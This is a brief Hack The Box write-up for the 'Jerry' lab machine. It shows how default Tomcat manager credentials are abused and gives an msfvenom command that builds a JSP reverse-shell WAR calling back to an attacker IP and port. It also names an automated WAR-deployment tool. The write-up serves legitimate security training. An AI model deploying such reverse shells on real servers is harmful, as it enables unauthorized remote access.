HTB - Jerry

Jerry

Getting Root:

  1. Jerry is running Apache Tomcat on port 8080

  2. Failed login error message shows default creds for the Host Manager App

  3. We upload a reverse JSP shell

  4. We get system on the box and both flags under the same directory

Tools Used:

nmap, msfvenon, tomcatWarDeployer.py

Nmap

Port 8080 Apache Tomcat

Default credentials are shown when we fail to authenticate with admin:admin on the Host Manager App user: tomcat password: s3cret

Generate and upload a JSP Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.20 LPORT=9001 -f war > shell.war

Getting the shell

Flags

Both flags are under the same directory

Automating the Exploit

Using an automated tool from github written by mgeeky https://github.com/mgeeky/tomcatWarDeployer

According to the wiki, this tool has been tested with the following versions:

TESTED

  • Apache Tomcat/5.5.35

  • Apache Tomcat/6.?

  • Apache Tomcat/7.0.52

  • Apache Tomcat/7.0.56

  • Apache Tomcat/8.0.33

Last updated